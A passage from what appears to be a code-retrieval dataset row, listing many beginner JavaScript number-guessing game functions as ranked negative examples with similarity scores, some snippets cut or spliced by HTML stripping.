You have had \\\" + countClicks + \\\" guesses so far.\\\";\\n\\t\\t \\n } \\n\\t\\telse {\\n\\t\\t\\tcountClicks++;\\n result = \\\"Success, You win! You took \\\" + countClicks + \\\" guesses.\\\";\\n\\t\\t\\t\\n } \\n// SENDS THE RESULT TO THE DOM\\n\\t document.getElementById(\\\"result\\\").innerHTML = result;\\n\\t\\n} //END OF FUNCTION - dont delete!\",\n \"function userGuess(){\\n var input = parseInt($(\\\"#userGuess\\\").val());\\n var feedback = [\\\"Congrats you won! Click New Game to start another game\\\", \\\"Please enter a number\\\", \\\"Pick a number btw 1-100\\\", \\\"Very Hot\\\", \\\"Hot\\\", \\\"Warm\\\", \\\"Cold\\\", \\\"Very Cold\\\", \\\"Cold as Vanilla Ice's career\\\"]\\n if (input == random) {\\n updateFeedback(feedback[0]);\\n } else if (input >= 101 || input == 0) {\\n $(\\\"#userGuess\\\").val(\\\"\\\");\\n $(\\\"#count\\\").text(--i);\\n updateFeedback(feedback[2]);\\n } else if (random - 5 <= input && input <= random + 5) {\\n updateFeedback(feedback[3]);\\n } else if (random - 10 <= input && input <= random + 10) {\\n updateFeedback(feedback[4]); \\n } else if (random - 15 <= input && input <= random + 15) {\\n updateFeedback(feedback[5]);\\n } else if (random - 25 <= input && input <= random + 25) {\\n updateFeedback(feedback[6]);\\n } else if (random - 30 <= input && input <= random + 30) {\\n updateFeedback(feedback[7]);\\n } else if (isNaN(input)) {\\n updateFeedback(feedback[1]);\\n $(\\\"#userGuess\\\").val(\\\"\\\");\\n $(\\\"#count\\\").text(--i);\\n } else {\\n updateFeedback(feedback[8]);\\n }\\n }\",\n \"function isGuessCorrect(randomNumber, answer) {\\n //condition that checks to see if the number of guesses made by the user is still less than the total number of allowed guesses\\n if (numberGuessed < numberOfGuessesAllowed) {\\n //condition that checks if the guess is lesser than the goal\\n if (answer > randomNumber) {\\n setTimeout(function () {\\n $(\\\"#guess\\\").html(`\\n `);\\n $(\\\"#restartgame\\\").click(function () {\\n location.reload();\\n });\\n }, 1000);\\n }\\n //call back function that displays the number of times the user has guessed as an animation on screen\\n setTimeout(function () {\\n $(\\\"#numberofguesses\\\").html(`\\\"\\n );\\n}\\n else { \\n $(\\\"#guess-image\\\").html(\\n \\\"daniel-pascoa-253357-unsplash.jpg>\\\"\\n);\\n } \\n if ( result===randomGuess){\\n wins++;\\n $(\\\"#win-lose\\\").html(\\\"
It just got harder.
Minimum is 10 lower.
Maximum is 10 higher.`);\\n $(\\\"#error\\\").show();\\n // win message\\n return \\\"BOOM!\\\"\\n }\\n}\",\n \"function guessNumber(){\\nvar programNumber = Math.ceil(Math.random() * 10);\\n var userNumber = prompt('Input the number between 1 and 10 inclusive');\\n if (userNumber == programNumber)\\n alert('Matched');\\n else\\n alert('Not matched');\\n}\",\n \"function playGuessGame() {\\r\\n\\r\\n var chance = 0;\\r\\n var numToGuess = generateRandomNum();\\r\\n \\r\\n while (chance < 3) { // given 3 chances\\r\\n \\r\\n chance++;\\r\\n var userGuess = prompt(\\\"Your Guess: \\\"); // taking guess (input) from the user\\r\\n if (userGuess === numToGuess) {\\r\\n console.log(\\\"You're Right. You've Won!!\\\");\\r\\n }\\r\\n else {\\r\\n console.log(\\\"Try Again...\\\");\\r\\n }\\r\\n\\r\\n var playAgain = false;\\r\\n\\r\\n if (chance === 3) {\\r\\n var askUser = prompt(\\\"Do You Want To Play Again? (Yes/No)\\\");\\r\\n askUser = askUser.toLowerCase();\\r\\n \\r\\n if (askUser === \\\"yes\\\") {\\r\\n playAgain = true;\\r\\n chance = 0; // to reset the game\\r\\n }\\r\\n else if (askUser === \\\"no\\\") {\\r\\n playAgain = false;\\r\\n console.log(\\\"Thank You For Playing With Us Today!\\\");\\r\\n }\\r\\n }\\r\\n \\r\\n\\r\\n\\r\\n }\\r\\n\\r\\n}\",\n \"function question6() {\\n var correctNumber = Math.floor(Math.random() * 30);\\n var attempts = 4;\\n while (attempts !== 0){\\n\\n var guessNumber = prompt('Let\\\\'s get serious. Guess a number from 1 to 50:');\\n console.log('User input: ' + guessNumber);\\n\\n if (parseInt(guessNumber)){\\n if (parseInt(guessNumber) === correctNumber){\\n\\n console.log(\\\"True!\\\");\\n alert('Great job! You guess it with ' + (5 - attempts) + ' attempt(s)');\\n correctAns++;\\n break;\\n } \\n else if (parseInt(guessNumber) < correctNumber){\\n \\n console.log(parseInt(guessNumber) + ' lower than ' + correctNumber);\\n attempts--;\\n alert(\\\"Wrong...Go higher!\\\" + attempts + \\\" attempts left\\\");\\n \\n } \\n else if (parseInt(guessNumber) > correctNumber){\\n \\n console.log(parseInt(guessNumber) + ' bigger that ' + correctNumber);\\n attempts--; \\n alert(\\\"Wrong...Go lower!\\\" + attempts + \\\" attempts left\\\");\\n \\n }\\n \\n }\\n else alert('Wrong input! It should be a whole number');\\n }\\n\\n if ((attempts === 0) && (guessNumber !== correctNumber)){\\n\\n alert('You wasted all your attempts...');\\n }\\n}\",\n \"function checkValueToGoal(){\\n if(currentTotalCounter===randomizedChosenGoalNumber){\\n winCounter++;\\n $(\\\"#winCounter\\\").html(winCounter); \\n restartGame();\\n } else if(currentTotalCounter> randomizedChosenGoalNumber){\\n loseCounter++;\\n $(\\\"#loseCounter\\\").html(loseCounter);\\n restartGame();\\n }\\n}\",\n \"function evaluateGuessOne(guess, randomNumber, min, max) {\\n console.log(\\\"minumum number is: \\\" + min);\\n console.log(\\\"max number is: \\\" + max);\\n if(guess < min || guess > max) {\\n console.error(\\\"Number is not in range\\\");\\n highOrLow1.innerText = \\\"Out of range\\\";\\n return alert(`Number must be between ${min} and ${max}`);\\n } else if(isNaN(guess)){\\n console.log(\\\"NOT A NUMBER\\\");\\n displayGuess1.innerText = \\\"--\\\";\\n highOrLow1.innerText = \\\"That's Not a Number...\\\";\\n alert(\\\"Please enter a valid number\\\");\\n } else if(guess < randomNumber) {\\n console.log(\\\"Player 1: guess is to low: \\\" + guess);\\n highOrLow1.innerText = \\\"that's to low\\\";\\n } else if(guess > randomNumber) {\\n console.log(\\\"Player 1: guess it to high: \\\" + guess);\\n highOrLow1.innerText = \\\"that's to high\\\";\\n } else {\\n console.log(\\\"Correct Guess\\\");\\n highOrLow1.innerText = \\\"BOOM!\\\";\\n newWinnerCard(challenger1Name.value, challenger2Name.value, challenger1Name.value);\\n // winnerName.innerText = challenger1Name.value;\\n alterGamerRange(min, max);\\n console.log(\\\"The new Minimum range is: \\\" + min);\\n console.log(\\\"The new Maximum range is: \\\" + max);\\n }\\n }\",\n \"function compare(){\\n feedback.classList.remove('warning');\\n let num = Number(guessNum.value);\\n let sd = 10;\\n if ( num > random ) {\\n if( Math.abs(num-random) <= sd ){\\n feedback.innerHTML = \\\"Too high, But very close!\\\"\\n } else {\\n feedback.innerHTML = \\\"Too high!\\\"\\n }\\n } else if ( num < random ) {\\n if( Math.abs(num-random) <= sd ){\\n feedback.innerHTML = \\\"Too low, But very close!\\\"\\n } else {\\n feedback.innerHTML = \\\"Too low!\\\"\\n }\\n } else if ( num === random ) {\\n feedback.innerHTML = \\\"Bingo!!!\\\";\\n feedback.classList.add('bingo');\\n again();\\n };\\n}\",\n \"function getHint() {\\n cheating = true;\\n var randomnumber=Math.floor(Math.random()*81);\\n if (puzzleFull()) { alert(\\\"No more hints! Puzzle is full!\\\"); return false;}\\n\\n if (puzzle.charAt(randomnumber) == '0' && document.getElementById(randomnumber).value == '') {\\n document.getElementById(randomnumber).value = puzzleS.charAt(randomnumber);\\n } else {\\n getHint();\\n }\\n}\",\n \"function guessMyNumber(n) {\\n var upperbound =6;\\n var rightNumber=randInt(upperbound);\\n\\n if (n > upperbound) {\\n return \\\"Out of bounds! Please try a number between 0 and 5.\\\";\\n }\\n \\n else if (n === rightNumber) {\\n return \\\"You guessed my number!\\\";\\n }\\n return \\\"Nope! That wasn't it!\\\" + \\\"correct number: \\\" + rightNumber ;\\n}\",\n \"function checkGuess() {\\r\\n var guess = document.getElementById('guess').value;\\r\\n\\r\\n if (!isNaN(guess)) {\\r\\n var guesses = document.getElementById('output');\\r\\n\\r\\n if (guess === randNum) guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed correctly! (\\\" + guess + \\\")\\\";\\r\\n else if (guess > randNum) guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed too high! (\\\" + guess + \\\")\\\";\\r\\n else guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed too low! (\\\" + guess + \\\")\\\";\\r\\n }\\r\\n else alert(\\\"Not an integer, try again.\\\");\\r\\n}\",\n \"function guessField(){\\n // Store the input entered into the text field into a variable \\\"ans\\\" and immediately cast to int\\n var ans = parseInt(document.getElementById(\\\"numberGuess\\\").elements[\\\"number\\\"].value);\\n console.log(\\\"secret: \\\" + secret + \\\"\\\\nyour guess: \\\" + ans);\\n\\n do // Used a do-while, because we always want to this block to execute at least once\\n {\\n console.log(\\\"Entered while loop\\\\nsecret: \\\" + secret + \\\"\\\\nans: \\\" + ans + \\\"\\\\nguessed: \\\" + guessed);\\n\\n if(ans > secret){\\n console.log(\\\"Your guess is too high\\\");\\n write(\\\"result4\\\", ans + \\\" is too high. Guess again\\\");\\n break;\\n } else if (ans < secret){\\n console.log(\\\"Your guess is too low\\\");\\n write(\\\"result4\\\", ans + \\\" is too low. Guess again\\\");\\n break;\\n } else if (ans === secret){\\n console.log(\\\"You guessed it!\\\");\\n write(\\\"result4\\\", \\\"You correctly guessed the number \\\" + ans + \\\". A new number random number will be generated now\\\");\\n alert(\\\"You correctly guessed the number \\\" + ans + \\\". A new number random number will be generated now\\\");\\n secret = Math.floor(Math.random() * (MAX+1));\\n console.log(\\\"New secret: \\\" + secret);\\n guessed=true;\\n } else { // If this else is reached, the input must be invalid. Prompt the user, and get a new guess.\\n console.log(\\\"Invalid input. Enter a number\\\");\\n write(\\\"result4\\\", \\\"Invalid input. Please enter a number between 0 and 5\\\");\\n break;\\n }\\n } while(guessed === false);\\n}\",\n \"function provideHint() {\\n var diff = Math.abs(playersGuess - winningNumber);\\n if (diff > 50) {\\n return (\\\" Like whoa. Maybe try a different end of the spectrum.\\\")\\n } else if (diff > 25) {\\n return (\\\" You're a fair ways off.\\\")\\n } else if (diff > 9) {\\n return (\\\" Getting there!\\\")\\n } else {\\n return (\\\" So close!\\\")\\n }\\n }\",\n \"function userWinOrLose() {\\n if (result > randomNum) {\\n losses++;\\n console.log(\\\"user lost\\\");\\n // alert(\\\"You lost! Try again.\\\");\\n initializeGame();\\n }\\n\\n if (result === randomNum) {\\n wins++;\\n console.log(\\\"user won\\\");\\n // alert(\\\"You won! Great job. Best out of 5?\\\");\\n initializeGame();\\n }\\n}\",\n \"function sixthQuestion() {\\n//sixth question\\n var secretNum = 20;\\n console.log('Value of secretNum: ', secretNum);\\n\\n// Evaluate whether the guess is too high or too low and give the user four attempts\\n var attempt = 0;\\n var maxAttempts = 4;\\n while (attempt < maxAttempts) {\\n var guessedNum = prompt('Guess my secret number.');\\n guessedNum = parseInt(guessedNum);\\n console.log('value of guessedNum: ', guessedNum);\\n console.log('type of guessedNum: ', typeof guessedNum);\\n\\n if (guessedNum === secretNum) {\\n alert('BULLSEYE. ', secretNum, ' was my secret Number!');\\n attempt = maxAttempts; // exit loop\\n tallyCorrect++;\\n } else if (guessedNum < secretNum) {\\n alert('Too low. Click OK and guess again.');\\n console.log('Attempt #: ', attempt);\\n } else if (guessedNum > secretNum) {\\n alert('Too high. Click OK and guess again.');\\n console.log('Attempt #: ', attempt);\\n } else {\\n alert('Rethink that choice.');\\n console.log('Attempt #: ', attempt);\\n }\\n attempt++;\\n }\\n console.log('out of the loop');\\n console.log('count: ' + tallyCorrect);\\n}\",\n \"function generateRandNum() {\\r\\n var guesses = document.getElementById(\\\"output\\\");\\r\\n var clicked = false;\\r\\n\\r\\n document.getElementById('newGame').onclick = function() {\\r\\n clicked = !clicked;\\r\\n };\\r\\n document.getElementById('guess').addEventListener(\\\"keyup\\\", function(event) {\\r\\n event.preventDefault();\\r\\n if (event.keyCode === 13) document.getElementById('check').click();\\r\\n });\\r\\n\\r\\n if (clicked) {\\r\\n if (!confirm('Restart game with new number?')) return;\\r\\n }\\r\\n\\r\\n guesses.value = '';\\r\\n randNum = Math.floor(Math.random()*500);\\r\\n guesses.value = \\\"New number generated.\\\\n\\\"\\r\\n\\r\\n // hide number that has been generated\\r\\n document.getElementById('numToGuess').value = '';\\r\\n document.getElementById('showCheat').style.display = 'none';\\r\\n}\",\n \"function checkFinal(){\\n \\tplayersGuessSubmission(); \\n \\t//check errors\\n \\tif (playersGuess > 100) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"
\\\", guessListText);\\n\\t\\t\\tdocument.getElementById(\\\"response\\\").innerHTML = \\\"Sorry, you're out of guesses. The combination was \\\" + combination + \\\". Please refresh the page to try a new game.\\\";\\n\\t\\t\\tdocument.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tcase 1:\\n\\t\\t guessesRemain--;\\n guessListText = currentGuess.concat(\\\" \\\", \\\"\\\", exactPlace, \\\" \\\", wrongPlace, \\\"
\\\", guessListText);\\n\\t document.getElementById(\\\"response\\\").innerHTML = \\\"Try again.\\\";\\n document.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\tcase 3:\\n guessesRemain--;\\n\\t\\t\\tguessListText = currentGuess.concat(\\\" \\\", \\\"\\\", exactPlace, \\\" \\\", wrongPlace, \\\"
\\\", guessListText);\\n\\t\\t\\tdocument.getElementById(\\\"response\\\").innerHTML = \\\"You guessed it!\\\";\\n\\t\\t\\tdocument.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tdefault:\\n\\t\\t document.getElementById(\\\"response\\\").innerHTML = \\\"Wow. Something weird happened. Please notify the game designer.\\\";\\n\\t\\t\\tbreak;\\n\\t}\\n\\tdocument.getElementById(\\\"remaining\\\").innerHTML = \\\"Guesses remaining: \\\" + guessesRemain;\\n}\",\n \"function PromptNumber(max_value) {\\n\\t// variables created inside of a function aren't available outside of it.\\n\\t// If you reuse a variable name from the global scope, only the locally defined\\n\\t// version will be available here.\\n\\t// It is best to keep global variables to a minimum and only use global variables when necessary.\\n\\tlet text, num;\\n\\t\\n\\t// Here we have a REPEAT UNTIL loop. The program will always go through the loop at least once.\\n\\t// We say that it is a bottom tested loop as it checks to see if it should loop at the bottom of the block.\\n\\tdo {\\n\\t\\t// parseInt will change a string into a number.\\n\\t\\ttext = prompt('What is your guess?');\\n\\t\\tnum = parseInt(text);\\n\\t\\t\\n\\t\\tif (isNaN(num)) {\\n\\t\\t\\t// If you pass in something that isn't a number to parseInt, it \\n\\t\\t\\t// returns a special Not a Number code. If we got that just change\\n\\t\\t\\t// it to zero. We will use isNaN to detect a number parse error.\\n\\t\\t\\tnum = 0;\\n\\t\\t\\talert('\\\"' + text + '\\\" is not a number. Try again.');\\n\\t\\t}\\n\\t\\telse if (num < 1) {\\n\\t\\t\\talert(num.toString() + ' is too small for the given range. Try again.');\\n\\t\\t}\\n\\t\\telse if (num > max_value) {\\n\\t\\t\\talert(num.toString() + ' is too large for the given range. Try again.');\\n\\t\\t}\\t\\t\\n\\t}\\n\\twhile (num < 1 || num > max_value)\\n\\t// && is the boolean and operator. It will be true when both checks are true and false otherwise.\\n\\t// || is the boolean or operator. It will be true when either check is true, and only false if both checks are.\\n\\t\\n\\t\\n\\t// To return a value back to the caller use the return statement. \\n\\treturn num;\\n}\",\n \"function question6 (){\\n\\n var actualRetries = Math.floor(Math.random() * 10) + 1;\\n console.log('Actual number of retries: ' + actualRetries);\\n\\n var el = document.getElementById('random-number');\\n el.textContent = actualRetries;\\n\\n var guessedRetries = 0;\\n var correctGuess = false;\\n var numberOfGuesses = 0;\\n\\n //The initial prompt is kept separate from the follow up question to be more interactive\\n\\n guessedRetries = prompt('Can you guess the number of my retries to get all answers on the course quiz right? Please be courteous and limit your response to a number between 1 and 10.');\\n\\n while (numberOfGuesses < 4){\\n console.log('Number of retries guessed: ' + guessedRetries);\\n if (actualRetries < guessedRetries){\\n guessedRetries = prompt('Number is lower than your guess. Try again!');\\n } else if (actualRetries > guessedRetries){\\n guessedRetries = prompt('Number is higher than your guess. Try again!');\\n } else {\\n correctGuess = true;\\n break;\\n }\\n numberOfGuesses++;\\n }\\n\\n //Keep track of number ofright answers. Set the alert message depending on the outcomme\\n\\n if (!correctGuess){\\n alert('Sorry, you have exhausted the number of tries.');\\n } else{\\n alert('Awesome, you got it!');\\n numberOfRightAnswers++;\\n }\\n\\n}\",\n \"function checkGuess(playersGuess){\\n\\t//If the number hasn't already been tried, check to see if it is the winning number\\n if (numbersTried.indexOf(playersGuess) == -1) {\\n //If it is a winning number\\n if(winningNumber==playersGuess) {\\n $('.feedback').text(\\\"You won!\\\");\\n $('.remaining').text(\\\"Congratulations!\\\")\\n playerWon();\\n }\\n //If it is not a winning number, add it to array of tried numbers, and increment guesses \\n else {\\n $('.feedback').text(lowerOrHigher(winningNumber, playersGuess));\\n\\n numbersTried.push(playersGuess);\\n //Have not given a hint for the current step\\n hintNotGiven = true;\\n\\n guesses--;\\n\\n //Message to be printed for number of guesses remaining, and also determining if the user lost\\n if (guesses > 1) {\\n $('.remaining').text(guesses + \\\" Guesses remaining! Make it count!\\\")\\n } else if (guesses == 1) {\\n $('.remaining').text(guesses + \\\" Guess remaining! Make it count!\\\")\\n } else {\\n $('.feedback').text(\\\"You lost. Play again?\\\");\\n $('.remaining').text(\\\"Game Over\\\")\\n playerLost();\\n };\\n };\\n} \\n //If the user has already guessed this number\\n else {\\n $('.feedback').text(\\\"You have already guessed this number\\\");\\n};\\n\\n}\",\n \"function checkNumGuess() {\\n\\tif(guesses === 0) {\\n\\t\\talert(\\\"Sorry, you couldn't guess the word. Game Over!\\\");\\n\\t}\\n}\",\n \"function checkGuess(){\\n\\tif (playersGuess === winningNumber) {\\n\\t\\tmoveSection();\\n\\t\\tchangeAnn(\\\"YOU WIN!\\\")\\n\\t\\tfaceDance();\\n\\n\\t} else {\\n\\t\\tif (arrayOfGuesses.includes(playersGuess)) {\\n\\t\\t\\t$('#announcement').fadeOut('fast');\\t\\n\\t\\t\\tchangeAnn(\\\"You already guessed that number\\\");\\n\\t\\t} else {\\n\\t\\t\\tarrayOfGuesses.push(playersGuess);\\n\\t\\t\\tif (arrayOfGuesses.length === 5){\\n\\t\\t\\t\\tchangeAnn(\\\"Game Over!\\\");\\n\\t\\t\\t\\t$('#tryAgain').css('background', 'red');\\n\\t\\t\\t\\tconsole.log(arrayOfGuesses);\\n\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tlowerOrHigher();\\n\\t\\t\\t\\tfaceWag();\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"function randomGuess(num){\\n\\tnotGuessed = true;\\n\\tvar counter = 0;\\n\\twhile(notGuessed){\\n\\t\\tcounter++;\\n\\t\\tvar rand = Math.random() * array.length;\\n\\t\\tif(array[rand] == num){\\n\\t\\t\\tnotGuessed = false;\\n\\t\\t}\\n\\t}\\n\\treturn counter;\\n}\",\n \"function guess() {\\n\\t\\tvar guessClick = $(this).text();\\n\\t\\t// console.log(guessClick + \\\" was clicked\\\");\\n\\n\\t\\tif (guessClick === correctAnswer) {\\n\\t\\t\\tcorrectGuess();\\n\\t\\t} else {\\n\\t\\t\\tincorrectGuess();\\n\\t\\t}\\n\\t}\",\n \"function questionSix(){\\n var myNum = 7;\\n var turns = 4;\\n\\n\\n var guess = parseInt(prompt('Hi! Do you think you can guess my favorite number? You have 4 attempts'));\\n do{\\n if (guess > myNum){\\n turns--;\\n alert('Too high, try again. You have ' + turns + ' remaining');\\n guess = parseInt(prompt ('What is my number?'));\\n } if (guess < myNum){\\n turns--;\\n alert('Too low, try again. You have ' + turns + ' remaining');\\n guess =parseInt(prompt ('What is my number?'));\\n } if (turns < 1) {\\n alert('Hey ' + name + '! I said you were out of turns!');\\n } if (guess === myNum){\\n alert('OMG! You are right!');\\n score++;\\n }\\n }\\n while (guess !== myNum && turns >= 1);\\n\\n}\",\n \"function askIfPlayerWantsToPlay() {\\n if (roundCount == 10) {\\n alert(\\\"Sorry your turns are up\\\");\\n } else {\\n let tryAgain = prompt('You can try up to 10 times. Would you like to try to guess a number. Type \\\"yes\\\" or \\\"no\\\"');\\n alert(tryAgain);\\n if (tryAgain == \\\"no\\\") {\\n alert(\\\"Quitting so soon? roundCount \\\" + roundCount);\\n return;\\n } else if (tryAgain != \\\"yes\\\") {\\n alert('Please enter \\\"yes\\\" or \\\"no\\\"');\\n } else {\\n alert(\\\"Good Luck!\\\");\\n }\\n roundCount = roundCount++;\\n validateUserInputIsNumber();\\n }\\n\\n}\",\n \"function fullGuessNumber(){\\n var userGuessNumber =prompt('Guess a number between 1-20, you\\\\'ll have 4 chances with this being your first :)');\\n var attemptTries;\\n // using parseInt() will turn whatever into a number or using Number()\\n\\n\\n for(attemptTries = 0;attemptTries<4;attemptTries++){\\n var userGuessedThisNumber = parseInt(userGuessNumber);\\n if(attemptTries===3){\\n userGuessNumber = prompt('Last chance! tip: it\\\\'s between 9 and 12 hehe');\\n userGuessedThisNumber= parseInt(userGuessNumber);\\n if(userGuessedThisNumber=== 11){\\n alert('Wow you guessed it! Nice job!');\\n userScore++;\\n break;\\n }else{\\n alert('You failed all guesses,it was 11. oh well');\\n break;\\n }\\n }\\n if(userGuessedThisNumber === 11){\\n alert('Wow you guessed it. Nice job!');\\n userScore;\\n break;\\n }else if(userGuessedThisNumber< 11){\\n userGuessNumber= prompt('Wrong Answer! A bit low try, again! Guess a number between 1-20');\\n } else if(userGuessedThisNumber> 11){\\n userGuessNumber= prompt('Wrong answer! A bit high, try again.Guess a number between 1-20');\\n }else{\\n userGuessNumber=prompt('Hey please put a correct choice, a number between 1-20! this counts as wrong. Try again.Guess a number between 1-20');\\n\\n }\\n\\n\\n }\\n}\",\n \"function isMatches(window) {\\n var userNumber = window.prompt(\\\"Please enter a number between 1 to 10\\\", \\\"1\\\");\\n var randomNumber = Math.floor(Math.random() * 10 + 1);\\n var result;\\n\\n userNumber = parseInt(userNumber);\\n\\n if (userNumber === randomNumber) {\\n result = \\\"Good Work\\\";\\n } else {\\n result = \\\"Not matched\\\";\\n }\\n\\n return result;\\n}\",\n \"function newGame(){\\n\\t\\tsecretNumber = Math.floor(Math.random()*100) + 1; //Gernerates #\\n\\t\\t//console.log('secretNumber', secretNumber); shows secret number in console.\\n\\n\\t\\tcounter = 0;\\n\\t\\tdisplay.innerHTML = counter;\\n\\n\\t\\t$('.guessBox').html(''); //resets html and results\\n\\n\\t\\tdocument.getElementById('feedback').innerHTML = \\\"Make Your Guess!\\\";\\n\\n\\t}\",\n \"function compareAndInform() {\\n var resultSection = document.querySelector('.response');\\n if (inputAsNumber() > max ) {\\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\\n } else if (inputAsNumber() < min) {\\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\\n } else if (inputAsNumber() < randomNumber) {\\n resultSection.innerText = \\\"That is too low\\\";\\n } else if (inputAsNumber() > randomNumber) {\\n resultSection.innerText = \\\"That is too high\\\";\\n } else if (inputAsNumber() === randomNumber) {\\n resultSection.innerText = \\\"You guessed it!\\\"\\n increaseValueOnWin();\\n console.log(randomNumber);\\n } else {\\n resultSection.innerText = `You need to guess a NUMBER between ${min} and ${max}`;\\n }\\n}\",\n \"function hint()\\n{ // Begin hint\\n // a) Store the input value in the following variable.\\n //REMEMBER, you will need casting as input values are\\n //always strings\\n guess = Number(input.value);\\n\\n // d) Compare guess to current number\\n if( guess < currentNumber)\\n { // if guess is less than currentNumber\\n // e) Set the message text to say '{guess} is lower\\n //than the secret number.' using string interpolation (templates)\\n message.textContent = `${guess} is lower than the secret number.`;\\n }\\n else\\n { // otherwise...\\n // f) Set the message text to say '{guess} is higher than the secret number.' using string interpolation (templates)\\n message.textContent = `${guess} is higher than the secret number.`;\\n }\\n\\n // TAKE IT FURTHER: Don't keep this if it doesn't work!)\\n // tf a) Using the math absolute function, find the difference\\n // between the guess and the current number\\n diff = Math.abs(guess - currentNumber);\\n\\n // tf b) Create a for loop that starts at 0, checks to see if\\n //it's less than 100, and increments by 10\\n for(var i=0; i<100; i+=10)\\n { // Begin loop\\n // tf c) if the diff is less than your loop initializer\\n //variable (usually it's i) AND diff is NOT less than 5\\n if(diff < i && diff > 5)\\n { // if diff...\\n // tf d) Set message with the following test:\\n // `\\\\nYou are within ${i} of the secret number.`\\n message.textContent = `\\\\nYou are within ${i} of the secret number.`;\\n // tf e) Exit the loop if this condition is true\\n break;\\n } // ...end if\\n } // End loop\\n\\n // tf f) If diff is less than 5\\n if(diff < 5)\\n { // Begin if\\n // g) Append to the message text:\\n // `\\\\nYou are within 5 of the secret number.`\\n message.textContent += `\\\\nYou are within 5 of the secret number.`;\\n } // End if\\n // END OF TAKE IT FURTHER\\n} // End hint\",\n \"function makeGuess(num){\\n let min = 1\\n let max = 5\\n\\n return num === (Math.floor(Math.random() * (max - min + 1)) + min)\\n}\",\n \"function computerguess(Answer) {\\n\\n if (Answer === 'C') {\\n say('Your number was ' + guessedNumber + '!\\\\n I guessed it in ' + amoutOfGuesses + ' tries.');\\n\\n } else {\\n\\n\\n if (Answer === 'H') {\\n firstArg = guessedNumber + 1\\n amoutOfGuesses++;\\n }\\n if (Answer === 'L') {\\n secondArg = guessedNumber - 1\\n amoutOfGuesses++;\\n }\\n guessedNumber = getRandom(firstArg, secondArg);\\n if (firstArg > secondArg) {\\n say('I think you are trying to cheat.');\\n startGame()\\n }\\n say('Is ' + guessedNumber + ' your number?');\\n }\\n}\",\n \"function newgame(){\\n \\t\\tanwser = Math.floor((Math.random() * 100) + 1);\\n\\t\\tcount = 0;\\n\\t\\t$('#count').text(count);\\n\\t\\t$('#feedback').text('Make your Guess!');\\n\\t\\tguesses = [];\\n\\t\\t$('#guessList').children().hide();\\n\\t}\"\n]"},"negative_scores":{"kind":"list like","value":["0.79177094","0.7891137","0.7750411","0.7650739","0.7627652","0.7563111","0.754357","0.75278264","0.7454332","0.74457943","0.7437742","0.7436417","0.74299675","0.742554","0.74173","0.7388835","0.738245","0.7381374","0.73766744","0.7343955","0.73307776","0.73286986","0.73224187","0.7311054","0.7291837","0.72886086","0.72839445","0.72775316","0.72700065","0.72294277","0.721952","0.7214035","0.72095317","0.71815735","0.7171161","0.7167147","0.71575004","0.71520954","0.7151983","0.7112796","0.7108996","0.7099386","0.70870835","0.7073245","0.70555186","0.70498013","0.7047332","0.7041257","0.7039411","0.7038683","0.7037974","0.7037932","0.70373553","0.703394","0.7023878","0.7006472","0.7005588","0.7001845","0.6997528","0.69942355","0.6992071","0.699187","0.6985437","0.69763315","0.6972782","0.6972701","0.695206","0.6939995","0.6925095","0.6922947","0.6914909","0.6908768","0.6906665","0.69047225","0.6896488","0.68886256","0.68869036","0.6884871","0.6884611","0.6881124","0.6879684","0.68789464","0.6874477","0.68733716","0.6868224","0.6866971","0.6866567","0.68595093","0.68377954","0.68254346","0.68226","0.68202996","0.68193674","0.6815948","0.68158436","0.68157315","0.6813363","0.6803754","0.679871","0.67968786"],"string":"[\n \"0.79177094\",\n \"0.7891137\",\n \"0.7750411\",\n \"0.7650739\",\n \"0.7627652\",\n \"0.7563111\",\n \"0.754357\",\n \"0.75278264\",\n \"0.7454332\",\n \"0.74457943\",\n \"0.7437742\",\n \"0.7436417\",\n \"0.74299675\",\n \"0.742554\",\n \"0.74173\",\n \"0.7388835\",\n \"0.738245\",\n \"0.7381374\",\n \"0.73766744\",\n \"0.7343955\",\n \"0.73307776\",\n \"0.73286986\",\n \"0.73224187\",\n \"0.7311054\",\n \"0.7291837\",\n \"0.72886086\",\n \"0.72839445\",\n \"0.72775316\",\n \"0.72700065\",\n \"0.72294277\",\n \"0.721952\",\n \"0.7214035\",\n \"0.72095317\",\n \"0.71815735\",\n \"0.7171161\",\n \"0.7167147\",\n \"0.71575004\",\n \"0.71520954\",\n \"0.7151983\",\n \"0.7112796\",\n \"0.7108996\",\n \"0.7099386\",\n \"0.70870835\",\n \"0.7073245\",\n \"0.70555186\",\n \"0.70498013\",\n \"0.7047332\",\n \"0.7041257\",\n \"0.7039411\",\n \"0.7038683\",\n \"0.7037974\",\n \"0.7037932\",\n \"0.70373553\",\n \"0.703394\",\n \"0.7023878\",\n \"0.7006472\",\n \"0.7005588\",\n \"0.7001845\",\n \"0.6997528\",\n \"0.69942355\",\n \"0.6992071\",\n \"0.699187\",\n \"0.6985437\",\n \"0.69763315\",\n \"0.6972782\",\n \"0.6972701\",\n \"0.695206\",\n \"0.6939995\",\n \"0.6925095\",\n \"0.6922947\",\n \"0.6914909\",\n \"0.6908768\",\n \"0.6906665\",\n \"0.69047225\",\n \"0.6896488\",\n \"0.68886256\",\n \"0.68869036\",\n \"0.6884871\",\n \"0.6884611\",\n \"0.6881124\",\n \"0.6879684\",\n \"0.68789464\",\n \"0.6874477\",\n \"0.68733716\",\n \"0.6868224\",\n \"0.6866971\",\n \"0.6866567\",\n \"0.68595093\",\n \"0.68377954\",\n \"0.68254346\",\n \"0.68226\",\n \"0.68202996\",\n \"0.68193674\",\n \"0.6815948\",\n \"0.68158436\",\n \"0.68157315\",\n \"0.6813363\",\n \"0.6803754\",\n \"0.679871\",\n \"0.67968786\"\n]"},"document_score":{"kind":"string","value":"0.6890487"},"document_rank":{"kind":"string","value":"75"}}},{"rowIdx":10,"cells":{"query":{"kind":"string","value":"There are two things needed to place a beacon: the position and a name TO DO: name will have to be unique. At this point, if there are two 